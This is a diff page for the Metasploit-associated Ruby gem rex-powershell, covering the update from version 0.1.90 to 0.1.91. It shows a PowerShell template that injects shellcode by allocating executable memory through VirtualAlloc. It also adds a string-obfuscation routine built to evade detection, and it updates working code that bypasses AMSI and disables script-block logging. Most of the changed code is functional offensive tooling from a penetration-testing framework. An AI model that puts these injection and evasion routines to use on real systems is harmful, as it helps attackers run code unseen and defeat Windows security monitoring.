rex-powershell 0.1.90 → 0.1.91

Sign up to get free protection for your applications and to get access to all the features.
checksums.yaml CHANGED
@@ -1,7 +1,7 @@
1
1
  ---
2
2
  SHA256:
3
- metadata.gz: 0a33516521ac7e860fca2bc66ae38f9859cac0588b657c8ffbe2e5ce8120adde
4
- data.tar.gz: 222e5ad9199ac80d8c8ec1b88d9504550f89b8811bc36dfc5df9bd34f3c7f329
3
+ metadata.gz: 03fb4a7843aafdad4a8a05217105768f959653f7b15c00273398afea46497385
4
+ data.tar.gz: 49fe72538e0fa7acc8a9f418cac9905d65e4fbf61e5b2b36cca4df6fbb20eee5
5
5
  SHA512:
6
- metadata.gz: 2d048a4d9875adff24b0a7168813918bfa36914130fb41df3666242f2553571b9afe0befac3daa3117f557f0881289e0ec21ceefe2b11922315747a73b6613ff
7
- data.tar.gz: df1b2109a3ffb337e5691f1a517ee08a99cb335c7b916c820a62e8caef91437a4c6815ad02bb7910daebb05a010acd51c79cc7ce101c7ab617577b9d4d1165ac
6
+ metadata.gz: 846f848e693acefa04b7850a983bfd52bccddc422d9454787fc241fc41323f55747f51d7707632fdca78376219ba7adee55c885b87b5d466376c95e1d5cf9993
7
+ data.tar.gz: e164850d612b3b32d98c5b620ef842f5ede29a86d5d5db0e0a8aa339aa471e01715a670be1ee75fa0223a823772df59ff16a05374ab06c0bfecb90f3d511a312
checksums.yaml.gz.sig CHANGED
Binary file
data.tar.gz.sig CHANGED
Binary file
@@ -1,7 +1,7 @@
1
1
  function %{func_get_proc_address} {
2
- Param ($%{var_module}, $%{var_procedure})
2
+ Param ($%{var_module}, $%{var_procedure})
3
3
  $%{var_unsafe_native_methods} = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
4
-
4
+
5
5
  return $%{var_unsafe_native_methods}.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String])).Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($%{var_unsafe_native_methods}.GetMethod('GetModuleHandle')).Invoke($null, @($%{var_module})))), $%{var_procedure}))
6
6
  }
7
7
 
@@ -10,16 +10,16 @@ function %{func_get_delegate_type} {
10
10
  [Parameter(Position = 0, Mandatory = $True)] [Type[]] $%{var_parameters},
11
11
  [Parameter(Position = 1)] [Type] $%{var_return_type} = [Void]
12
12
  )
13
-
13
+
14
14
  $%{var_type_builder} = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
15
15
  $%{var_type_builder}.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
16
16
  $%{var_type_builder}.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $%{var_return_type}, $%{var_parameters}).SetImplementationFlags('Runtime, Managed')
17
-
17
+
18
18
  return $%{var_type_builder}.CreateType()
19
19
  }
20
20
 
21
21
  [Byte[]]$%{var_code} = [System.Convert]::FromBase64String("%{b64shellcode}")
22
-
22
+
23
23
  $%{var_buffer} = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((%{func_get_proc_address} kernel32.dll VirtualAlloc), (%{func_get_delegate_type} @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, $%{var_code}.Length,0x3000, 0x40)
24
24
  [System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_buffer}, $%{var_code}.length)
25
25
 
@@ -1,7 +1,7 @@
1
1
  function %{func_rc4_decrypt} {
2
2
  param([Byte[]]$%{var_rc4buffer})
3
3
 
4
- $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
4
+ $%{var_key} = ([system.Text.Encoding]::UTF8).GetBytes("%{random_key}")
5
5
 
6
6
  $s = New-Object Byte[] 256;
7
7
  $k = New-Object Byte[] 256;
@@ -268,6 +268,12 @@ EOS
268
268
  # @param opts [Hash] The options to generate the command
269
269
  # @option opts [Boolean] :persist Loop the payload to cause
270
270
  # re-execution if the shellcode finishes
271
+ # @option opts [String] :prepend A stub of Powershell code to prepend to the
272
+ # payload.
273
+ # @option opts [String] :prepend_inner A stub of Powershell code to prepend to
274
+ # the inner payload.
275
+ # @option opts [Boolean] :prepend_protections_bypass Prepend a stub that
276
+ # bypasses Powershell protections.
271
277
  # @option opts [Integer] :prepend_sleep Sleep for the specified time
272
278
  # before executing the payload
273
279
  # @option opts [String] :method The powershell injection technique to
@@ -306,9 +312,15 @@ EOS
306
312
  else
307
313
  fail RuntimeError, 'No Powershell method specified'
308
314
  end
315
+
309
316
  if opts[:exec_rc4]
310
317
  psh_payload = Rex::Powershell::Payload.to_win32pe_psh_rc4(template_path, psh_payload)
311
318
  end
319
+
320
+ if opts[:prepend_inner]
321
+ psh_payload = opts[:prepend_inner] << (opts[:prepend_inner].end_with?(';') ? '' : ';') << psh_payload
322
+ end
323
+
312
324
  # Run our payload in a while loop
313
325
  if opts[:persist]
314
326
  fun_name = Rex::Text.rand_text_alpha(rand(2) + 2)
@@ -324,12 +336,6 @@ EOS
324
336
  end
325
337
 
326
338
  compressed_payload = compress_script(psh_payload, nil, opts)
327
-
328
- if opts[:prepend_protections_bypass]
329
- bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
330
- compressed_payload = bypass_amsi + ";" + compressed_payload
331
- end
332
-
333
339
  encoded_payload = encode_script(psh_payload, opts)
334
340
 
335
341
  # This branch is probably never taken...
@@ -352,6 +358,15 @@ EOS
352
358
  end
353
359
  end
354
360
 
361
+ if opts[:prepend_protections_bypass]
362
+ bypass_amsi = Rex::Powershell::PshMethods.bypass_powershell_protections
363
+ smallest_payload = bypass_amsi + ";" + smallest_payload
364
+ end
365
+
366
+ if opts[:prepend]
367
+ smallest_payload = opts[:prepend] << (opts[:prepend].end_with?(';') ? '' : ';') << smallest_payload
368
+ end
369
+
355
370
  if opts[:exec_in_place]
356
371
  final_payload = smallest_payload
357
372
  else
@@ -362,8 +377,8 @@ EOS
362
377
  end
363
378
 
364
379
  command_args = {
365
- noprofile: true,
366
- windowstyle: 'hidden'
380
+ noprofile: true,
381
+ windowstyle: 'hidden'
367
382
  }.merge(opts)
368
383
 
369
384
  if opts[:encode_final_payload]
@@ -12,6 +12,92 @@ module Powershell
12
12
  WHITESPACE_REGEX = Regexp.new(/\s+/)
13
13
  EMPTY_LINE_REGEX = Regexp.new(/^$|^\s+$/)
14
14
 
15
+ #
16
+ # Obfuscate a Powershell literal string value. The character set of the string is limited to alpha-numeric
17
+ # characters and some punctuation. This routine will use a combination of of techniques including formatting and
18
+ # concatenation. The result is an expression that can either be passed to a function or assigned to a variable.
19
+ #
20
+ # @param [String] string The string value to obfuscate.
21
+ # @param [Float] threshold A floating point value between 0 and 1 that controls how much of the string is
22
+ # obfuscated. Higher values result in more obfuscation while 0 returns the original string without any
23
+ # obfuscation.
24
+ # @return [String] An obfuscated Powershell expression that evaluates to the specified string.
25
+ def self.scate_string_literal(string, threshold: 0.15)
26
+ # this hasn't been thoroughly tested for strings that contain alot of punctuation, just simple ones like
27
+ # 'AmsiUtils', the most important characters that are assumed to be missing are quotes and braces
28
+ raise ArgumentError.new('string contains an unsupported character') if string =~ /[^a-zA-Z0-9,+=\.\/]/
29
+ raise ArgumentError.new('threshold must be between 0 and 1') unless threshold.between?(0, 1)
30
+
31
+ new = original = string
32
+ occurrences = {}
33
+ original.each_char { |char|
34
+ occurrences[char] = 0 unless occurrences.key?(char)
35
+ occurrences[char] += 1
36
+ }
37
+ char_map = occurrences.group_by { |k,v| v }.sort_by { |k,v| -k }.map { |k,v| v.shuffle }.flatten(1)
38
+
39
+ # phase 1
40
+ format = []
41
+ char_subs = 0.0
42
+ while (char_subs / original.length.to_f) < threshold
43
+ orig_char, occurrence_count = char_map.pop
44
+ new = new.gsub(/(?<!\{)#{Regexp.escape(orig_char)}(?!\})/, "{#{format.length}}")
45
+ format << "'#{orig_char}'"
46
+ char_subs += occurrence_count
47
+ end
48
+
49
+ # phase 2
50
+ concat = "'+'"
51
+ positions = threshold > 0 ? (0..new.length).to_a.shuffle[0..(new.length * threshold)] : []
52
+ positions.sort!
53
+ positions.each_with_index do |position, index|
54
+ new = new.insert(position + (index * concat.length), concat)
55
+ end
56
+
57
+ new = "'#{new}'"
58
+ new = "(#{new})" unless threshold == 0
59
+
60
+ final = new
61
+ final << "-f#{format.join(',')}" unless format.empty?
62
+ final = "(#{final})" unless format.empty? && threshold == 0
63
+ final
64
+ end
65
+
66
+ #
67
+ # Deobfuscate a Powershell literal string value that was previously obfuscated by #scate_string_literal.
68
+ #
69
+ # @param [String] string The obfuscated Powershell expression to deobfuscate.
70
+ # @raises [RuntimeError] If the string can not be deobfuscated, for example because it was randomized using a
71
+ # different routine, then an exception is raised.
72
+ # @return [String] The string literal value.
73
+ def self.descate_string_literal(string)
74
+ string = string.strip
75
+ nest_level = [string.match(/^(\(*)/)[0].length, string.match(/(\)*)$/)[0].length].min
76
+ string = string[nest_level...-nest_level].strip if nest_level > 0
77
+ format_args = nil
78
+ if (string =~ /\((?>[^)(]+|\g<0>)*\)/) == 0
79
+ format = Regexp.last_match(0)
80
+ format_args = string[format.length..-1].strip
81
+ unless format_args =~ /-f\s*('.',\s*)*('.')/
82
+ raise RuntimeError.new('The obfuscated string structure is unsupported')
83
+ end
84
+ format_args = format_args[2..-1].strip.scan(/'(.)'/).map { |match| match[0] }
85
+ string = format[1...-1].strip
86
+ end
87
+
88
+ unless string =~ /^'.*'$/
89
+ raise RuntimeError.new('The obfuscated string structure is unsupported')
90
+ end
91
+ string = string.gsub(/'\s*\+\s*'/, '') # process all concatenation operations
92
+ unless format_args.nil? # process all format string operations
93
+ string = string.gsub(/\{\s*\d+\s*\}/) do |index|
94
+ format_args[index[1...-1].to_i]
95
+ end
96
+ end
97
+
98
+ string[1...-1]
99
+ end
100
+
15
101
  #
16
102
  # Remove comments
17
103
  #
@@ -45,6 +131,7 @@ module Powershell
45
131
  # @return [String] code with whitespace stripped
46
132
  def strip_whitespace
47
133
  code.gsub!(WHITESPACE_REGEX, ' ')
134
+ code.strip!
48
135
 
49
136
  code
50
137
  end
@@ -50,10 +50,11 @@ module Powershell
50
50
  # Base64 encode the compressed file contents
51
51
  encoded_stream = Rex::Text.encode_base64(compressed_stream)
52
52
 
53
+
53
54
  # Build the powershell expression
54
55
  # Decode base64 encoded command and create a stream object
55
56
  psh_expression = "$s=New-Object System.IO.MemoryStream(,"
56
- psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}'));"
57
+ psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)}));"
57
58
  # Read & delete the first two bytes due to incompatibility with MS
58
59
  psh_expression << '$s.ReadByte();'
59
60
  psh_expression << '$s.ReadByte();'
@@ -109,7 +110,7 @@ module Powershell
109
110
  # GzipStream operates on the Memory Stream
110
111
  psh_expression << '(New-Object System.IO.MemoryStream(,'
111
112
  # MemoryStream consists of base64 encoded compressed data
112
- psh_expression << "[System.Convert]::FromBase64String('#{encoded_stream}')))"
113
+ psh_expression << "[System.Convert]::FromBase64String(#{Obfu.scate_string_literal(encoded_stream, threshold: 0.01)})))"
113
114
  # Set the GzipStream to decompress its MemoryStream contents
114
115
  psh_expression << ',[System.IO.Compression.CompressionMode]::Decompress)'
115
116
  # Read the decoded, decompressed result into scriptblock contents
@@ -139,8 +140,15 @@ module Powershell
139
140
  #
140
141
  # @return [String] Decompressed powershell code
141
142
  def decompress_code
142
- # Extract substring with payload
143
- encoded_stream = @code.scan(/FromBase64String\('(.*)'/).flatten.first
143
+ # Extract substring with payload4
144
+ if @code =~ /FromBase64String\('([a-zA-z0-9\+\/=]*)'\)/
145
+ encoded_stream = Regexp.last_match(1)
146
+ elsif @code =~ /FromBase64String(\((?>[^)(]+|\g<1>)*\))/
147
+ encoded_stream = Obfu.descate_string_literal(Regexp.last_match(1))
148
+ else
149
+ raise RuntimeError, 'Failed to identify the base64 data'
150
+ end
151
+
144
152
  # Decode and decompress the string
145
153
  unencoded = Rex::Text.decode_base64(encoded_stream)
146
154
  begin
@@ -90,10 +90,13 @@ module Powershell
90
90
  #
91
91
  # @return [String] PowerShell code to bypass AMSI
92
92
  def self.bypass_amsi()
93
- %q{
94
- $Ref=[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils');
95
- $Ref.GetField('amsiIn'+'itFailed','NonPublic,Static').SetValue($null,$true);
96
- }
93
+ script = Script.new(<<-PSH
94
+ $Ref=[Ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.AmsiUtils')});
95
+ $Ref.GetField(#{Obfu.scate_string_literal('amsiInitFailed')},'NonPublic,Static').SetValue($null,$true);
96
+ PSH
97
+ )
98
+ script.sub_vars
99
+ script
97
100
  end
98
101
 
99
102
  #
@@ -101,22 +104,28 @@ module Powershell
101
104
  #
102
105
  # @return [String] PowerShell code to bypass Script Block Logging
103
106
  def self.bypass_script_log()
104
- %q{
105
- $GPF=[ref].Assembly.GetType('System.Management.Automation.Utils').GetField('cachedGroupPolicySettings','N'+'onPublic,Static');
106
- If($GPF){
107
+ script = Script.new(<<-PSH
108
+ $GPF=[ref].Assembly.GetType(#{Obfu.scate_string_literal('System.Management.Automation.Utils')}).GetField(#{Obfu.scate_string_literal('cachedGroupPolicySettings')},'NonPublic,Static');
109
+ If ($GPF) {
110
+ $SBL=#{Obfu.scate_string_literal('ScriptBlockLogging')};
111
+ $EnableSBL=#{Obfu.scate_string_literal('EnableScriptBlockLogging')};
112
+ $EnableSBIL=#{Obfu.scate_string_literal('EnableScriptBlockInvocationLogging')};
107
113
  $GPC=$GPF.GetValue($null);
108
- If($GPC['ScriptB'+'lockLogging']){
109
- $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;
110
- $GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockInvocationLogging']=0
114
+ If($GPC[$SBL]){
115
+ $GPC[$SBL][$EnableSBL]=0;
116
+ $GPC[$SBL][$EnableSBIL]=0;
111
117
  }
112
118
  $val=[Collections.Generic.Dictionary[string,System.Object]]::new();
113
- $val.Add('EnableScriptB'+'lockLogging',0);
114
- $val.Add('EnableScriptB'+'lockInvocationLogging',0);
115
- $GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$val
119
+ $val.Add($EnableSBL,0);
120
+ $val.Add($EnableSBIL,0);
121
+ $GPC['HKEY_LOCAL_MACHINE\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\'+$SBL]=$val;
116
122
  } Else {
117
- [ScriptBlock].GetField('signatures','N'+'onPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]))
123
+ [ScriptBlock].GetField('signatures','NonPublic,Static').SetValue($null,(New-Object Collections.Generic.HashSet[string]));
118
124
  }
119
- }
125
+ PSH
126
+ )
127
+ script.sub_vars
128
+ script
120
129
  end
121
130
 
122
131
  #
@@ -1,5 +1,5 @@
1
1
  module Rex
2
2
  module Powershell
3
- VERSION = "0.1.90"
3
+ VERSION = "0.1.91"
4
4
  end
5
5
  end
metadata CHANGED
@@ -1,7 +1,7 @@
1
1
  --- !ruby/object:Gem::Specification
2
2
  name: rex-powershell
3
3
  version: !ruby/object:Gem::Version
4
- version: 0.1.90
4
+ version: 0.1.91
5
5
  platform: ruby
6
6
  authors:
7
7
  - Metasploit Hackers
@@ -93,7 +93,7 @@ cert_chain:
93
93
  EknWpNgVhohbot1lfVAMmIhdtOVaRVcQQixWPwprDj/ydB8ryDMDosIMcw+fkoXU
94
94
  9GJsSaSRRYQ9UUkVL27b64okU8D48m8=
95
95
  -----END CERTIFICATE-----
96
- date: 2021-04-23 00:00:00.000000000 Z
96
+ date: 2021-07-09 00:00:00.000000000 Z
97
97
  dependencies:
98
98
  - !ruby/object:Gem::Dependency
99
99
  name: rake
metadata.gz.sig CHANGED
Binary file